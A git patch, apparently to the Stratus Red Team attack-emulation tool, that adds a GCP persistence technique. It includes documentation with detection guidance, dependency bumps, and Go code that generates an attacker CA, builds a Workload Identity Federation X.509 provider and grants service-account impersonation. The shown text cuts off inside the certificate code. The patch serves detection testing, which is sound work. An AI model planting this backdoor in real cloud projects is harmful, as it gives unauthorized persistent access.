From 6613304494fef6a14a2e27f8ccd22330fcf4e552 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Mar=C3=A9chal?= Date: Thu, 26 Mar 2026 16:28:35 +0100 Subject: [PATCH 1/3] New attack technique: Create Workload Identity Federation Pool and Provider (gcp.persistence.create-workload-identity-federation) Co-Authored-By: Claude Sonnet 4.6 --- ...nce.create-workload-identity-federation.md | 72 ++++ docs/attack-techniques/GCP/index.md | 2 + docs/attack-techniques/list.md | 1 + docs/index.yaml | 7 + v2/go.mod | 20 +- v2/go.sum | 31 ++ .../main.go | 384 ++++++++++++++++++ .../main.tf | 48 +++ v2/internal/attacktechniques/main.go | 1 + 9 files changed, 556 insertions(+), 10 deletions(-) create mode 100755 docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md create mode 100644 v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go create mode 100644 v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.tf diff --git a/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md b/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md new file mode 100755 index 000000000..61122c28b --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md @@ -0,0 +1,72 @@ +--- +title: Create a Workload Identity Federation Pool and Provider +--- + +# Create a Workload Identity Federation Pool and Provider + + + + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Persistence + + + +## Description + + +Creates a Workload Identity Federation (WIF) pool and an X.509 provider within it, +then grants the pool's identities permission to impersonate a target service account. +This simulates an attacker who has obtained access to a GCP project and establishes +a persistent backdoor by acting as their own certificate authority: any machine that +holds a certificate signed by the attacker's CA can silently exchange it for GCP +access tokens impersonating the target service account, without ever creating a +service account key. + +This is the GCP equivalent of AWS IAM Roles Anywhere. + +Warm-up: + +- Create a target service account + +Detonation: + +- Generate an attacker-controlled CA certificate and a client certificate signed by it +- Create a Workload Identity Pool named stratus-red-team-wif-<suffix> +- Create an X.509 provider within the pool, trusting the attacker CA +- Grant roles/iam.workloadIdentityUser on the target service account + to all identities in the pool (any cert signed by the attacker CA can impersonate it) +- Write ca.crt, client.crt, and client.key to the current directory + +Revert: + +- Remove the roles/iam.workloadIdentityUser binding from the service account +- Delete the X.509 provider +- Delete the Workload Identity Pool +- Remove ca.crt, client.crt, and client.key + +References: + +- https://cloud.google.com/iam/docs/workload-identity-federation-with-x509-certificates +- https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.persistence.create-workload-identity-federation +``` +## Detection + + +Identify when a Workload Identity Federation pool or provider is created by +monitoring for google.iam.admin.v1.CreateWorkloadIdentityPool and +google.iam.admin.v1.CreateWorkloadIdentityPoolProvider events in GCP +Admin Activity audit logs. Alert on unexpected creation, especially X.509 providers +which allow certificate-based authentication from outside GCP. + + diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index 32707a0fc..39486cfbb 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -28,6 +28,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md) + - [Create a Workload Identity Federation Pool and Provider](./gcp.persistence.create-workload-identity-federation.md) + - [Invite an External User to a GCP Project](./gcp.persistence.invite-external-user.md) - [Backdoor a Cloud Function by Granting Public Invoke Access](./gcp.persistence.backdoor-cloud-function.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index d6e33f625..2510e4168 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -92,6 +92,7 @@ This page contains the list of all Stratus Attack Techniques. | [Backdoor a GCP Service Account through its IAM Policy](./GCP/gcp.persistence.backdoor-service-account-policy.md) | [GCP](./GCP/index.md) | Persistence | | [Create an Admin GCP Service Account](./GCP/gcp.persistence.create-admin-service-account.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation | | [Create a GCP Service Account Key](./GCP/gcp.persistence.create-service-account-key.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation | +| [Create a Workload Identity Federation Pool and Provider](./GCP/gcp.persistence.create-workload-identity-federation.md) | [GCP](./GCP/index.md) | Persistence | | [Invite an External User to a GCP Project](./GCP/gcp.persistence.invite-external-user.md) | [GCP](./GCP/index.md) | Persistence | | [Dump All Secrets](./kubernetes/k8s.credential-access.dump-secrets.md) | [Kubernetes](./kubernetes/index.md) | Credential Access | | [Steal Pod Service Account Token](./kubernetes/k8s.credential-access.steal-serviceaccount-token.md) | [Kubernetes](./kubernetes/index.md) | Credential Access | diff --git a/docs/index.yaml b/docs/index.yaml index 096f97521..88d880df9 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -770,6 +770,13 @@ GCP: - Privilege Escalation platform: GCP isIdempotent: false + - id: gcp.persistence.create-workload-identity-federation + name: Create a Workload Identity Federation Pool and Provider + isSlow: false + mitreAttackTactics: + - Persistence + platform: GCP + isIdempotent: false - id: gcp.persistence.invite-external-user name: Invite an External User to a GCP Project isSlow: false diff --git a/v2/go.mod b/v2/go.mod index ec90630dc..aa7bb9683 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -53,7 +53,7 @@ require ( github.com/spf13/cobra v1.6.0 github.com/spf13/viper v1.21.0 github.com/stretchr/testify v1.11.1 - golang.org/x/oauth2 v0.27.0 + golang.org/x/oauth2 v0.29.0 golang.org/x/sync v0.16.0 gopkg.in/yaml.v3 v3.0.1 k8s.io/api v0.25.3 @@ -64,8 +64,8 @@ require ( require ( cloud.google.com/go v0.118.0 // indirect cloud.google.com/go/aiplatform v1.70.0 // indirect - cloud.google.com/go/auth v0.14.0 // indirect - cloud.google.com/go/auth/oauth2adapt v0.2.7 // indirect + cloud.google.com/go/auth v0.16.0 // indirect + cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect cloud.google.com/go/compute/metadata v0.6.0 // indirect cloud.google.com/go/iam v1.3.1 // indirect cloud.google.com/go/longrunning v0.6.4 // indirect @@ -108,7 +108,7 @@ require ( github.com/google/gnostic v0.5.7-v3refs // indirect github.com/google/gofuzz v1.1.0 // indirect github.com/google/s2a-go v0.1.9 // indirect - github.com/googleapis/enterprise-certificate-proxy v0.3.4 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.6 // indirect github.com/googleapis/gax-go/v2 v2.14.1 // indirect github.com/imdario/mergo v0.3.15 // indirect github.com/inconshreveable/mousetrap v1.0.1 // indirect @@ -153,11 +153,11 @@ require ( golang.org/x/mod v0.26.0 // indirect golang.org/x/net v0.43.0 // indirect golang.org/x/term v0.34.0 // indirect - golang.org/x/time v0.9.0 // indirect + golang.org/x/time v0.11.0 // indirect google.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4 // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20250124145028-65684f501c47 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f // indirect - google.golang.org/protobuf v1.36.4 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20250414145226-207652e42e2e // indirect + google.golang.org/protobuf v1.36.6 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect k8s.io/klog/v2 v2.70.1 // indirect @@ -178,6 +178,6 @@ require ( golang.org/x/crypto v0.41.0 golang.org/x/sys v0.35.0 // indirect golang.org/x/text v0.28.0 // indirect - google.golang.org/api v0.218.0 - google.golang.org/grpc v1.70.0 // indirect + google.golang.org/api v0.230.0 + google.golang.org/grpc v1.72.0 // indirect ) diff --git a/v2/go.sum b/v2/go.sum index 1e022ad7c..758c68e8e 100644 --- a/v2/go.sum +++ b/v2/go.sum @@ -5,8 +5,12 @@ cloud.google.com/go/aiplatform v1.70.0 h1:vnqsPkgcwlDEpWl9t6C3/HLfHeweuGXs2gcYTz cloud.google.com/go/aiplatform v1.70.0/go.mod h1:1cewyC4h+yvRs0qVvlCuU3V6j1pJ41doIcroYX3uv8o= cloud.google.com/go/auth v0.14.0 h1:A5C4dKV/Spdvxcl0ggWwWEzzP7AZMJSEIgrkngwhGYM= cloud.google.com/go/auth v0.14.0/go.mod h1:CYsoRL1PdiDuqeQpZE0bP2pnPrGqFcOkI0nldEQis+A= +cloud.google.com/go/auth v0.16.0 h1:Pd8P1s9WkcrBE2n/PhAwKsdrR35V3Sg2II9B+ndM3CU= +cloud.google.com/go/auth v0.16.0/go.mod h1:1howDHJ5IETh/LwYs3ZxvlkXF48aSqqJUM+5o02dNOI= cloud.google.com/go/auth/oauth2adapt v0.2.7 h1:/Lc7xODdqcEw8IrZ9SvwnlLX6j9FHQM74z6cBk9Rw6M= cloud.google.com/go/auth/oauth2adapt v0.2.7/go.mod h1:NTbTTzfvPl1Y3V1nPpOgl2w6d/FjO7NNUQaWSox6ZMc= +cloud.google.com/go/auth/oauth2adapt v0.2.8 h1:keo8NaayQZ6wimpNSmW5OPc283g65QNIiLpZnkHRbnc= +cloud.google.com/go/auth/oauth2adapt v0.2.8/go.mod h1:XQ9y31RkqZCcwJWNSx2Xvric3RrU88hAYYbjDWYDL+c= cloud.google.com/go/compute v1.31.1 h1:SObuy8Fs6woazArpXp1fsHCw+ZH4iJ/8dGGTxUhHZQA= cloud.google.com/go/compute v1.31.1/go.mod h1:hyOponWhXviDptJCJSoEh89XO1cfv616wbwbkde1/+8= cloud.google.com/go/compute/metadata v0.6.0 h1:A6hENjEsCDtC1k8byVsgwvVcioamEHvZ4j01OwKxG9I= @@ -234,6 +238,7 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.1.0 h1:Hsa8mG0dQ46ij8Sl2AYJDUv1oA9/d6Vk+3LG99Oe02g= github.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= @@ -243,6 +248,8 @@ github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/enterprise-certificate-proxy v0.3.4 h1:XYIDZApgAnrN1c855gTgghdIA6Stxb52D5RnLI1SLyw= github.com/googleapis/enterprise-certificate-proxy v0.3.4/go.mod h1:YKe7cfqYXjKGpGvmSg28/fFvhNzinZQm8DGnaburhGA= +github.com/googleapis/enterprise-certificate-proxy v0.3.6 h1:GW/XbdyBFQ8Qe+YAmFU9uHLo7OnF5tL52HFAgMmyrf4= +github.com/googleapis/enterprise-certificate-proxy v0.3.6/go.mod h1:MkHOF77EYAE7qfSuSS9PU6g4Nt4e11cnsDUowfwewLA= github.com/googleapis/gax-go/v2 v2.14.1 h1:hb0FFeiPaQskmvakKu5EbCbpntQn48jyHuvrkurSS/Q= github.com/googleapis/gax-go/v2 v2.14.1/go.mod h1:Hb/NubMaVM88SrNkvl8X/o8XWwDJEPqouaLeN2IUxoA= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= @@ -394,16 +401,26 @@ go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJyS go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A= go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.58.0 h1:PS8wXpbyaDJQ2VDHHncMe9Vct0Zn1fEjpsjrLxGJoSc= go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.58.0/go.mod h1:HDBUsEjOuRC0EzKZ1bSaRGZWUBAzo+MhAcUUORSr4D0= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 h1:x7wzEgXfnzJcHDwStJT+mxOz4etr2EcexjqhBvmoakw= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0/go.mod h1:rg+RlpR5dKwaS95IyyZqj5Wd4E13lk/msnTS0Xl9lJM= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0 h1:yd02MEjBdJkG3uabWP9apV+OuWRIXGDuJEUJbOHmCFU= go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0/go.mod h1:umTcuxiv1n/s/S6/c2AT/g2CQ7u5C59sHDNmfSwgz7Q= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 h1:sbiXRNDSWJOTobXh5HyQKjq6wUC5tNybqjIqDpAY4CU= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0/go.mod h1:69uWxva0WgAA/4bu2Yy70SLDBwZXuQ6PbBpbsa5iZrQ= go.opentelemetry.io/otel v1.34.0 h1:zRLXxLCgL1WyKsPVrgbSdMN4c0FMkDAskSTQP+0hdUY= go.opentelemetry.io/otel v1.34.0/go.mod h1:OWFPOQ+h4G8xpyjgqo4SxJYdDQ/qmRH+wivy7zzx9oI= +go.opentelemetry.io/otel v1.35.0 h1:xKWKPxrxB6OtMCbmMY021CqC45J+3Onta9MqjhnusiQ= +go.opentelemetry.io/otel v1.35.0/go.mod h1:UEqy8Zp11hpkUrL73gSlELM0DupHoiq72dR+Zqel/+Y= go.opentelemetry.io/otel/metric v1.34.0 h1:+eTR3U0MyfWjRDhmFMxe2SsW64QrZ84AOhvqS7Y+PoQ= go.opentelemetry.io/otel/metric v1.34.0/go.mod h1:CEDrp0fy2D0MvkXE+dPV7cMi8tWZwX3dmaIhwPOaqHE= +go.opentelemetry.io/otel/metric v1.35.0 h1:0znxYu2SNyuMSQT4Y9WDWej0VpcsxkuklLa4/siN90M= +go.opentelemetry.io/otel/metric v1.35.0/go.mod h1:nKVFgxBZ2fReX6IlyW28MgZojkoAkJGaE8CpgeAU3oE= go.opentelemetry.io/otel/sdk v1.34.0 h1:95zS4k/2GOy069d321O8jWgYsW3MzVV+KuSPKp7Wr1A= go.opentelemetry.io/otel/sdk v1.34.0/go.mod h1:0e/pNiaMAqaykJGKbi+tSjWfNNHMTxoC9qANsCzbyxU= +go.opentelemetry.io/otel/sdk v1.35.0 h1:iPctf8iprVySXSKJffSS79eOjl9pvxV9ZqOWT0QejKY= go.opentelemetry.io/otel/sdk/metric v1.32.0 h1:rZvFnvmvawYb0alrYkjraqJq0Z4ZUJAiyYCU9snn1CU= go.opentelemetry.io/otel/sdk/metric v1.32.0/go.mod h1:PWeZlq0zt9YkYAp3gjKZ0eicRYvOh1Gd+X99x6GHpCQ= +go.opentelemetry.io/otel/sdk/metric v1.35.0 h1:1RriWBmCKgkeHEhM7a2uMjMUfP7MsOF5JpUCaEqEI9o= go.opentelemetry.io/otel/trace v1.34.0 h1:+ouXS2V8Rd4hp4580a8q23bg0azF2nI8cqLYnC8mh/k= go.opentelemetry.io/otel/trace v1.34.0/go.mod h1:Svm7lSjQD7kG7KJ/MUHPVXSDGz2OX4h0M2jHBhmSfRE= go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= @@ -435,6 +452,8 @@ golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M= golang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= +golang.org/x/oauth2 v0.29.0 h1:WdYw2tdTK1S8olAzWHdgeqfy+Mtm9XNhv/xJsY65d98= +golang.org/x/oauth2 v0.29.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -459,6 +478,8 @@ golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng= golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU= golang.org/x/time v0.9.0 h1:EsRrnYcQiGH+5FfbgvV4AP7qEZstoyrHB0DzarOQ4ZY= golang.org/x/time v0.9.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= +golang.org/x/time v0.11.0 h1:/bpjEDfN9tkoN/ryeYHnv5hcMlc8ncjMcM4XBk5NWV0= +golang.org/x/time v0.11.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= @@ -475,6 +496,8 @@ golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8T golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.218.0 h1:x6JCjEWeZ9PFCRe9z0FBrNwj7pB7DOAqT35N+IPnAUA= google.golang.org/api v0.218.0/go.mod h1:5VGHBAkxrA/8EFjLVEYmMUJ8/8+gWWQ3s4cFH0FxG2M= +google.golang.org/api v0.230.0 h1:2u1hni3E+UXAXrONrrkfWpi/V6cyKVAbfGVeGtC3OxM= +google.golang.org/api v0.230.0/go.mod h1:aqvtoMk7YkiXx+6U12arQFExiRV9D/ekvMCwCd/TksQ= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= @@ -485,13 +508,19 @@ google.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4 h1:Pw6WnI9W/LIdRxq google.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4/go.mod h1:qbZzneIOXSq+KFAFut9krLfRLZiFLzZL5u2t8SV83EE= google.golang.org/genproto/googleapis/api v0.0.0-20250124145028-65684f501c47 h1:5iw9XJTD4thFidQmFVvx0wi4g5yOHk76rNRUxz1ZG5g= google.golang.org/genproto/googleapis/api v0.0.0-20250124145028-65684f501c47/go.mod h1:AfA77qWLcidQWywD0YgqfpJzf50w2VjzBml3TybHeJU= +google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a h1:nwKuGPlUAt+aR+pcrkfFRrTU1BVrSmYyYMxYbUIVHr0= +google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a/go.mod h1:3kWAYMk1I75K4vykHtKt2ycnOgpA6974V7bREqbsenU= google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f h1:OxYkA3wjPsZyBylwymxSHa7ViiW1Sml4ToBrncvFehI= google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f/go.mod h1:+2Yz8+CLJbIfL9z73EW45avw8Lmge3xVElCP9zEKi50= +google.golang.org/genproto/googleapis/rpc v0.0.0-20250414145226-207652e42e2e h1:ztQaXfzEXTmCBvbtWYRhJxW+0iJcz2qXfd38/e9l7bA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20250414145226-207652e42e2e/go.mod h1:qQ0YXyHHx3XkvlzUtpXDkS29lDSafHMZBAZDc03LQ3A= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.70.0 h1:pWFv03aZoHzlRKHWicjsZytKAiYCtNS0dHbXnIdq7jQ= google.golang.org/grpc v1.70.0/go.mod h1:ofIJqVKDXx/JiXrwr2IG4/zwdH9txy3IlF40RmcJSQw= +google.golang.org/grpc v1.72.0 h1:S7UkcVa60b5AAQTaO6ZKamFp1zMZSU0fGDK2WZLbBnM= +google.golang.org/grpc v1.72.0/go.mod h1:wH5Aktxcg25y1I3w7H69nHfXdOG3UiadoBtjh3izSDM= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= @@ -504,6 +533,8 @@ google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp0 google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.36.4 h1:6A3ZDJHn/eNqc1i+IdefRzy/9PokBTPvcqMySR7NNIM= google.golang.org/protobuf v1.36.4/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= +google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= +google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go new file mode 100644 index 000000000..fe5185428 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go @@ -0,0 +1,384 @@ +package gcp + +import ( + "context" + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/x509" + "crypto/x509/pkix" + _ "embed" + "encoding/pem" + "fmt" + "log" + "math/big" + "os" + "strings" + "time" + + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + iamv1 "google.golang.org/api/iam/v1" +) + +//go:embed main.tf +var tf []byte + +const wifProviderId = "stratus-red-team-x509" + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.persistence.create-workload-identity-federation", + FriendlyName: "Create a Workload Identity Federation Pool and Provider", + Description: ` +Creates a Workload Identity Federation (WIF) pool and an X.509 provider within it, +then grants the pool's identities permission to impersonate a target service account. +This simulates an attacker who has obtained access to a GCP project and establishes +a persistent backdoor by acting as their own certificate authority: any machine that +holds a certificate signed by the attacker's CA can silently exchange it for GCP +access tokens impersonating the target service account, without ever creating a +service account key. + +This is the GCP equivalent of AWS IAM Roles Anywhere. + +Warm-up: + +- Create a target service account + +Detonation: + +- Generate an attacker-controlled CA certificate and a client certificate signed by it +- Create a Workload Identity Pool named stratus-red-team-wif-<suffix> +- Create an X.509 provider within the pool, trusting the attacker CA +- Grant roles/iam.workloadIdentityUser on the target service account + to all identities in the pool (any cert signed by the attacker CA can impersonate it) +- Write ca.crt, client.crt, and client.key to the current directory + +Revert: + +- Remove the roles/iam.workloadIdentityUser binding from the service account +- Delete the X.509 provider +- Delete the Workload Identity Pool +- Remove ca.crt, client.crt, and client.key + +References: + +- https://cloud.google.com/iam/docs/workload-identity-federation-with-x509-certificates +- https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools +`, + Detection: ` +Identify when a Workload Identity Federation pool or provider is created by +monitoring for google.iam.admin.v1.CreateWorkloadIdentityPool and +google.iam.admin.v1.CreateWorkloadIdentityPoolProvider events in GCP +Admin Activity audit logs. Alert on unexpected creation, especially X.509 providers +which allow certificate-based authentication from outside GCP. +`, + Platform: stratus.GCP, + IsIdempotent: false, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +func newIAMService(ctx context.Context, providers stratus.CloudProviders) (*iamv1.Service, error) { + svc, err := iamv1.NewService(ctx, providers.GCP().Options()) + if err != nil { + return nil, fmt.Errorf("failed to create IAM client: %w", err) + } + return svc, nil +} + +func poolParent(projectId string) string { + return fmt.Sprintf("projects/%s/locations/global", projectId) +} + +func poolName(projectId, poolId string) string { + return fmt.Sprintf("projects/%s/locations/global/workloadIdentityPools/%s", projectId, poolId) +} + +func providerName(projectId, poolId, providerId string) string { + return fmt.Sprintf( + "projects/%s/locations/global/workloadIdentityPools/%s/providers/%s", + projectId, poolId, providerId, + ) +} + +// waitForOperation polls a WIF pool operation until it completes. +func waitForOperation(ctx context.Context, svc *iamv1.Service, opName string) error { + const maxAttempts = 30 + for range maxAttempts { + op, err := svc.Projects.Locations.WorkloadIdentityPools.Operations.Get(opName).Context(ctx).Do() + if err != nil { + return fmt.Errorf("failed to poll operation %s: %w", opName, err) + } + if op.Done { + if op.Error != nil { + return fmt.Errorf("operation %s failed: %s", opName, op.Error.Message) + } + return nil + } + time.Sleep(3 * time.Second) + } + return fmt.Errorf("operation %s did not complete after %d attempts", opName, maxAttempts) +} + +// certBundle holds a generated CA and client certificate pair. +type certBundle struct { + caCertPEM string + clientCertPEM string + clientKeyPEM string +} + +// generateCerts creates a self-signed CA and a client certificate signed by it. +// The CA is only used to register the trust anchor in GCP; the client cert is +// what the attacker presents when exchanging for a GCP access token. +func generateCerts() (certBundle, error) { + caKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + return certBundle{}, fmt.Errorf("failed to generate CA key: %w", err) + } + + caTemplate := &x509.Certificate{ + SerialNumber: big.NewInt(1), + Subject: pkix.Name{ + CommonName: "Stratus Red Team CA", + Organization: []string{"Stratus Red Team"}, + }, + NotBefore: time.Now().Add(-time.Hour), + NotAfter: time.Now().Add(10 * 365 * 24 * time.Hour), + KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign, + BasicConstraintsValid: true, + IsCA: true, + } + + caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey) + if err != nil { + return certBundle{}, fmt.Errorf("failed to create CA certificate: %w", err) + } + caCert, err := x509.ParseCertificate(caDER) + if err != nil { + return certBundle{}, fmt.Errorf("failed to parse CA certificate: %w", err) + } + + clientKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + return certBundle{}, fmt.Errorf("failed to generate client key: %w", err) + } + clientTemplate := &x509.Certificate{ + SerialNumber: big.NewInt(2), + Subject: pkix.Name{ + CommonName: "stratus-red-team-backdoor", + Organization: []string{"Stratus Red Team"}, + }, + NotBefore: time.Now().Add(-time.Hour), + NotAfter: time.Now().Add(10 * 365 * 24 * time.Hour), + KeyUsage: x509.KeyUsageDigitalSignature, + ExtKeyUsage: 